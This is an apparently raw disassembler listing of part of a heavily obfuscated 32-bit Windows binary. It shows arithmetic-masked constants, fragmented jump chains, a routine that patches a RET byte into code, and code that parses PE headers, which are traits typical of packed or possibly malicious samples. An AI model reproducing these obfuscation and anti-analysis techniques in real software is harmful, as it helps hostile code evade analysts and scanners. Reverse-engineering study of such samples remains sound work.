; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43FDA2:				; CODE XREF: sub_454267+37F6j
		jmp	loc_4410AB
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D70

loc_43FDA7:				; CODE XREF: sub_458D70-1D0AAj
		jz	loc_45070A
		test	ebx, eax
		jmp	loc_456BAB
; END OF FUNCTION CHUNK	FOR sub_458D70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43FDB4:				; CODE XREF: sub_442BFE-86C1j
		call	sub_45A04B
		pop	edx
		pop	eax
		push	esi
		push	8BF81BFCh
		jmp	loc_449218
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		or	ecx, esi
		jmp	sub_44226E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_43FDCD:				; CODE XREF: sub_44A4E3:loc_44E542j
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		or	edx, 31F61D4h
		xor	edx, 234DA90Eh
		call	sub_449EB7
		push	esi
		jmp	loc_45A5A3
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43FDEA:				; CODE XREF: sub_439A5E+174DCj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443029
		jmp	loc_44B913
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------

loc_43FDF9:				; CODE XREF: dviuq5id:0043E3D3j
		xchg	ebp, ebx

; =============== S U B	R O U T	I N E =======================================



sub_43FDFB	proc near		; CODE XREF: sub_449423:loc_448660p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A297 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B8FB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B9E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BD05 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C1D6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043C7CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB86 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043D75A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043ED6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F53E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043FB09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FF08 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004405F2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004410F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441293 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004414E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441634 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442ED3 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00443DAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444B5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004450BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445EB1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446924 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447AC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004481E0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448494 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004488B4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044920D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004494B4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449840 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004499BF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00449D3A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A1EB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044A8EB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B417 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044BFDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D171 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D549 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044E4DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450B1F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004516DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451732 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451CD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452395 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045371A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455927 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456799 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004575A8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00459EEB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045A461 SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441ECC
		or	eax, eax
		jnz	loc_43ED6B
		jmp	loc_451CD9
sub_43FDFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43FE16:				; CODE XREF: sub_43FA59+16181j
		jmp	sub_43E9CF
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_43FE1B:				; CODE XREF: sub_43F83A-178Bj
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_43F83A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43FE20:				; CODE XREF: sub_454094+4j
		call	sub_43938B
		test	al, al
		jz	loc_456A9D
		jmp	loc_439E2C
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_43FE32:				; CODE XREF: sub_457B2A:loc_43B65Bj
		pop	ecx
		and	ecx, 995AD2h
		add	ecx, (offset sub_43CCB9+1)
		mov	ecx, [ecx]
		call	sub_4439EF
; END OF FUNCTION CHUNK	FOR sub_457B2A
; START	OF FUNCTION CHUNK FOR sub_43DA15

loc_43FE46:				; CODE XREF: sub_43DA15+Aj
		jmp	loc_44F4AF
; END OF FUNCTION CHUNK	FOR sub_43DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_43FE4B:				; CODE XREF: sub_45753F-1855Dj
		jns	loc_44DCED

loc_43FE51:				; CODE XREF: sub_458568+Bj
		jmp	loc_44CB81
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_43FE56:				; CODE XREF: sub_4579D1-34E3j
		jmp	nullsub_478
; END OF FUNCTION CHUNK	FOR sub_4579D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_43FE5B:				; CODE XREF: sub_44E67F:loc_44A70Bj
		jmp	loc_4458E6
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43FE60:				; CODE XREF: sub_43FA59+8BA2j
		jmp	loc_44E641
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_43FE65:				; CODE XREF: sub_446CFB+9j
		jmp	loc_45A212
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------

loc_43FE6A:				; CODE XREF: dviuq5id:0044F353j
		mov	ebp, [edx]
		and	eax, edi
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_43FE6E:				; CODE XREF: sub_43A160:loc_457190j
		jmp	loc_44DCE5
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_43FE73:				; CODE XREF: sub_455B54-1000Cj
		shl	ebp, 11h
		add	ebx, esi
		jmp	loc_44AB61
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------

loc_43FE7D:				; CODE XREF: dviuq5id:loc_457DEAj
		sub	eax, 0DFDB0477h
		rol	eax, 17h
; START	OF FUNCTION CHUNK FOR sub_450686

loc_43FE86:				; CODE XREF: sub_450686:loc_44344Fj
		test	eax, 2000000h
		jmp	loc_444AF8
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43FE91:				; CODE XREF: sub_449485-DFBBj
		or	ebx, 9AB21F37h
		jno	loc_44BCDC

loc_43FE9D:				; CODE XREF: sub_449485:loc_43CE63j
					; sub_44952D:loc_4406DEj ...
		jmp	sub_458964
; ---------------------------------------------------------------------------

loc_43FEA2:				; CODE XREF: sub_44952D-CCBFj
					; sub_449485-64ECj
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		mov	ebp, eax
		pop	eax
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_43FEAE:				; CODE XREF: sub_451D31:loc_4501C6j
		pop	ecx
		jmp	loc_43CC1E
; END OF FUNCTION CHUNK	FOR sub_451D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_43FEB4:				; CODE XREF: sub_44B624-9CB1j
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_43FEB6:				; CODE XREF: sub_43B3A0+146E6j
		jmp	loc_4598B8
; END OF FUNCTION CHUNK	FOR sub_43B3A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FEBB	proc near		; CODE XREF: sub_4584CA:loc_43A2ACp
					; sub_456002-18654j ...

; FUNCTION CHUNK AT 004454F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456318 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00459A09 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_4454F2
sub_43FEBB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BA8C

loc_43FEC4:				; CODE XREF: sub_44BA8C:loc_4519E2j
		or	eax, eax
		push	offset loc_453172
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_44BA8C

; =============== S U B	R O U T	I N E =======================================



sub_43FED0	proc near		; DATA XREF: dviuq5id:00442672o

; FUNCTION CHUNK AT 00446AF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E286 SIZE 00000008 BYTES

		jno	loc_44E286
		pop	edx
		push	offset sub_448B4C
		jmp	loc_446AF8
sub_43FED0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43FEE1:				; CODE XREF: sub_439C09:loc_454A6Cj
		mov	esi, ecx
		xchg	esi, [esp-4+arg_0]
		push	2DECB167h
		pop	ecx
		jmp	loc_4570B0
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_43FEF1:				; CODE XREF: sub_445A59:loc_442C92j
		pop	edi
		or	edi, 100F9921h
		rol	edi, 1
		add	edi, 0AC0C5B9h
		xchg	edi, [esp-8+arg_0]
		jmp	loc_45A4E5
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43FF08:				; CODE XREF: sub_43FDFB+1845j
					; dviuq5id:loc_44DF3Cj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		push	offset sub_4565C2
		jmp	loc_456799
; END OF FUNCTION CHUNK	FOR sub_43FDFB

; =============== S U B	R O U T	I N E =======================================



sub_43FF18	proc near		; CODE XREF: dviuq5id:00443051j
					; sub_44297E+D3CFp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BF78 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447D7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045158C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004521F9 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edx, [esp-4+arg_0]
		mov	eax, edx
		pop	edx
		jmp	loc_45158C
sub_43FF18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_43FF27:				; CODE XREF: sub_43C46D:loc_4555EBj
		sub	ebx, 8DA59A10h
		add	ebx, 274A48D9h
		xor	ebx, 2E852E34h
		add	ebx, ebp
		push	edx
		push	26C39CDCh

loc_43FF41:				; CODE XREF: dviuq5id:00448F35j
		pop	edx
		jmp	loc_459E06
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
		xchg	ebx, [edx]
		jmp	sub_440729

; =============== S U B	R O U T	I N E =======================================



sub_43FF4E	proc near		; CODE XREF: sub_445110-BABDp
					; dviuq5id:0043D150j

; FUNCTION CHUNK AT 00452D83 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, 0CB804A30h
		call	sub_449EB7
		call	sub_44C1D5

loc_43FF61:				; CODE XREF: sub_44F11D-B9AFj
					; sub_44F11D:loc_44FCB1j
		mov	eax, [ebp-18h]
		mov	eax, [eax]
		push	offset loc_441D0C
		jmp	loc_452D83
sub_43FF4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43FF70	proc near		; DATA XREF: sub_43A160+13B93o
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_445498
		mov	byte ptr [eax],	0C3h
		jmp	sub_445498
sub_43FF70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_43FF81:				; CODE XREF: sub_445498:loc_4493EEj
		mov	eax, [esp+4+var_4]
		push	edx
		jmp	loc_43BEDF
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452C48

loc_43FF8A:				; CODE XREF: sub_452C48+Dj
		add	ebx, 2DE1FAAh
		xchg	ebx, [esp+0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_452C48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43FF98:				; CODE XREF: sub_439A5E+7050j
		js	loc_43D083
		popf
		ror	ebx, 3
		adc	esi, eax

loc_43FFA4:				; CODE XREF: sub_439A5E:loc_449062j
		mov	eax, [ebp-4]
		jmp	loc_459EE0
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
		mov	edx, 87C4571Ah
		push	edi
		push	offset sub_454677
		jmp	loc_459EDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_43FFBC:				; CODE XREF: sub_45169D+6j
		add	eax, 84369BF4h
		mov	eax, [eax]
		call	sub_453B6B
		mov	eax, [ebp-30h]
		mov	[ebp-4], eax
		push	61C42065h
		jmp	loc_43B781
; END OF FUNCTION CHUNK	FOR sub_45169D

; =============== S U B	R O U T	I N E =======================================



sub_43FFD9	proc near		; DATA XREF: sub_452E67+Bo

; FUNCTION CHUNK AT 0043F345 SIZE 0000001B BYTES

		push	ebx
		push	0C1B21C41h
		pop	ebx
		xor	ebx, 49C18104h
		add	ebx, ds:4000F2h
		xor	ebx, 17862E9h
		add	ebx, ebp
		add	ebx, 0EB0AD12Ch
		jmp	loc_43F345
sub_43FFD9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43FFFF:				; CODE XREF: sub_446682-1EF7j
		js	loc_452FD4

loc_440005:				; CODE XREF: sub_446682:loc_43A5C4j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B823
		jmp	loc_45A30B
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_440016:				; CODE XREF: dviuq5id:004517BDj
		jb	loc_44DBFF
		popf
		jmp	loc_43E5D8
; ---------------------------------------------------------------------------

loc_440022:				; CODE XREF: dviuq5id:loc_45696Cj
		mov	eax, 934299CDh
		push	offset loc_459C45
		jmp	locret_43D105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_440031:				; CODE XREF: dviuq5id:loc_43BB2Fj
					; sub_448154:loc_44B696j
		test	esi, ebx
		jmp	loc_43D197
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_440038:				; CODE XREF: sub_4427AE:loc_43DD40j
		pop	eax
		rol	eax, 6
		xor	eax, 5B990B70h
		add	eax, 897DBDC2h
		xchg	eax, [esp+0]
		jmp	sub_451D52
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_440050:				; CODE XREF: sub_44E491:loc_45A510j
		push	offset sub_441772
		jmp	loc_43E2AD
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------

loc_44005A:				; CODE XREF: dviuq5id:loc_44BC73j
		call	sub_453642
		push	ebx
		push	0D492F2ABh
		pop	ebx
		rol	ebx, 13h
		or	ebx, 0E87AA8EEh
		add	ebx, 2C32495h
		mov	[ebx], eax
		jmp	loc_44E61A
; ---------------------------------------------------------------------------

loc_44007C:				; CODE XREF: dviuq5id:004493A1j
					; dviuq5id:00451E46j
		jge	loc_44A3AC
		and	esi, edi
		jmp	loc_44A3A6
; ---------------------------------------------------------------------------

loc_440089:				; DATA XREF: sub_441F76:loc_446857o
		xor	eax, 3EFF98CBh
		add	eax, ebp
		push	offset sub_4560AC
		jmp	loc_450998
; ---------------------------------------------------------------------------

loc_44009B:				; CODE XREF: dviuq5id:004521CBj
		jnb	loc_45300C

; =============== S U B	R O U T	I N E =======================================



sub_4400A1	proc near		; CODE XREF: sub_4404A6+856Dp

; FUNCTION CHUNK AT 00442D57 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450DDC SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	91608D10h
		pop	ebx
		and	ebx, 0CF5A183Ch
		jmp	loc_442D57
sub_4400A1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_456FF4
		jmp	loc_452EAB
; ---------------------------------------------------------------------------
		sbb	edi, 0B414AD08h
		sub	ebp, ebx
		jmp	loc_43B06F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_4400D0:				; CODE XREF: sub_4440E9+10j
		jz	loc_43BBAB
		jmp	loc_457D54
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_4400DB:				; CODE XREF: sub_43E10E+14DE2j
					; sub_43E10E:loc_459795j
		mov	eax, 61h
		push	ecx
		push	64961A2Fh
		pop	ecx
		add	ecx, 0A2824204h
		sub	ecx, 2E83E50Eh
		jmp	loc_44C5C6
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_4400F8:				; CODE XREF: sub_446465:loc_44F987j
		cmp	edi, 590C6C72h
		jmp	loc_45447A
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_440103:				; CODE XREF: sub_441DDA+78F7j
		pop	eax
		cmp	esi, eax
		jmp	loc_451717
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_44010B	proc near		; CODE XREF: sub_43CCD1+F161p
					; sub_44E255p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00440C9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F7E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004556C4 SIZE 00000005 BYTES

		push	esi

loc_44010C:				; CODE XREF: sub_458D70:loc_456BABj
		push	10D30A3Dh
		pop	esi
		and	esi, 0EB2FD26Fh
		jmp	loc_4556C4
sub_44010B	endp

; ---------------------------------------------------------------------------
		xchg	edx, ebx
		jmp	loc_450211
; ---------------------------------------------------------------------------

loc_440124:				; DATA XREF: sub_44A30D+1o
		mov	ebp, esp
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		mov	esp, ebp
		pop	ebp
		push	52B39F40h
		xchg	edx, [esp]
		jmp	loc_44E9A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_44013C:				; CODE XREF: sub_44A2CC-25E6j
		jo	loc_447BBC

loc_440142:				; CODE XREF: sub_44A2CC:loc_43AA2Aj
		push	eax
		push	8DBD01B4h
		pop	eax
		and	eax, 6F197A4Ch
		xor	eax, 0E581777Fh
		add	eax, 17AC2A82h
		xchg	eax, [esp+8+var_8]
		jmp	loc_4438FC
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------

loc_440163:				; DATA XREF: sub_4452A6:loc_43F994o
		xchg	ebx, [esp]
		pushf
		push	8F0FF641h
		pop	eax
		jmp	loc_446A53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_440172:				; CODE XREF: sub_439C09+F3B9j
		shl	ebp, 0Dh
		jmp	loc_44678F
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4562B4

loc_44017A:				; CODE XREF: sub_4562B4:loc_4562C1j
		jz	loc_44E3AE
		mov	eax, [ebp-4]
		add	eax, 3Ch

loc_440186:				; CODE XREF: dviuq5id:loc_43F776j
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_44FC3D
; END OF FUNCTION CHUNK	FOR sub_4562B4
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		call	sub_43F013
; START	OF FUNCTION CHUNK FOR sub_446682

loc_4401A2:				; CODE XREF: sub_455E74+14j
		jmp	loc_4405D5
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_4401A7:				; CODE XREF: sub_44D2A8:loc_44DA29j
		jz	loc_43F8FF
		jmp	loc_455905
; END OF FUNCTION CHUNK	FOR sub_44D2A8
; ---------------------------------------------------------------------------

loc_4401B2:				; CODE XREF: dviuq5id:0044E56Dj
		or	esi, 0A2C4F13Eh
		and	esi, 82830470h
		add	esi, 7DC30274h
		xchg	esi, [esp]
		jmp	loc_449916
; ---------------------------------------------------------------------------
		call	sub_451D31
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_4401D1:				; CODE XREF: sub_43F4F8+1A78Bj
		jmp	loc_44C3C4
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_4401D6:				; CODE XREF: sub_43E4A4-A2Dj
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------

loc_4401DB:				; CODE XREF: dviuq5id:0043AC60j
		jmp	loc_44542C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_4401E0:				; CODE XREF: sub_43A160+1A607j
		jbe	loc_44AA73

loc_4401E6:				; CODE XREF: sub_43A160:loc_4482B9j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_457195
		jmp	loc_44E87F
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------

loc_4401F7:				; CODE XREF: dviuq5id:loc_44FC9Bj
					; dviuq5id:0044FCACj
		xor	eax, 9FF388Ah
		call	sub_453642
		mov	ds:off_41D078, eax
		push	offset sub_452457
		jmp	locret_447C18
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_398. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_440213:				; CODE XREF: sub_43D56D:loc_43D573j
		jmp	loc_439211
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_440218:				; CODE XREF: sub_44EAC4+12j
		jz	sub_452C48
		jmp	loc_44888D
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_440223	proc near		; CODE XREF: sub_4525D0:loc_44C76Fp
					; dviuq5id:00456075j

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		push	4C91A0h
		mov	eax, [ebp-10h]
		call	sub_440F1B

loc_440237:				; CODE XREF: sub_43FAE1-5C3Aj
		jmp	nullsub_99
sub_440223	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44023C:				; CODE XREF: sub_44BD0B+Bj
		mov	ebp, edx
		push	offset sub_44BD27
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
		jbe	loc_4596E2
		sbb	ebx, 4F51E5CFh
		jmp	sub_44142D
; ---------------------------------------------------------------------------

loc_440259:				; CODE XREF: dviuq5id:00451E3Bj
		mov	[ecx], eax
		call	sub_458ABC

loc_440260:				; CODE XREF: dviuq5id:0044DC06j
		jmp	nullsub_341
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_440265:				; CODE XREF: sub_44C20F-63j
		jmp	loc_4488BB
; END OF FUNCTION CHUNK	FOR sub_44C20F
; ---------------------------------------------------------------------------
		and	ebp, 0F8DCFC0h
		jmp	loc_453653
; ---------------------------------------------------------------------------

loc_440275:				; CODE XREF: dviuq5id:0044BE2Aj
		xor	ebx, esi

loc_440277:				; CODE XREF: dviuq5id:loc_43F462j
		push	edi
		push	10AB8472h
		pop	edi
		sub	edi, 9CDE80A9h
		rol	edi, 10h
		test	edi, 20h
		jmp	loc_43C7EF
; ---------------------------------------------------------------------------

loc_440292:				; CODE XREF: dviuq5id:0043A4B7j
		mov	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_440294	proc near		; CODE XREF: sub_4598CB+Dp

; FUNCTION CHUNK AT 004392C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447882 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A19C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B5CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E2AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454A5F SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jnz	loc_43A46B
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		jmp	loc_447882
sub_440294	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4402A9:				; DATA XREF: sub_43FAE1+6AD1o
		add	eax, 0A4BA3ADBh
		add	eax, ebp
		add	eax, 0EA683C20h
		mov	eax, [eax]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		call	sub_43AF9D
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_4402C6:				; CODE XREF: sub_43A160:loc_43A6F4j
					; dviuq5id:00458C9Aj
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_43A160

; =============== S U B	R O U T	I N E =======================================



sub_4402CB	proc near		; DATA XREF: sub_44AC6E+B93Fo

arg_0		= dword	ptr  4

		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-4]
		mov	esp, ebp
		xchg	edi, [esp-4+arg_0]
		mov	ebp, edi
		pop	edi
		retn
sub_4402CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4402DA:				; CODE XREF: sub_454094-2738j
		jmp	loc_44F7F6
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_4402DF:				; CODE XREF: dviuq5id:0043A4D3j
		mov	esi, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_4402E1	proc near		; CODE XREF: sub_456A43+13p

; FUNCTION CHUNK AT 0043D04F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442AF4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044C8FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045763E SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		jmp	loc_44C8FC
sub_4402E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4402EB:				; CODE XREF: sub_4525D0:loc_45626Cj
		jz	loc_4460BC
		jmp	loc_43BE9D
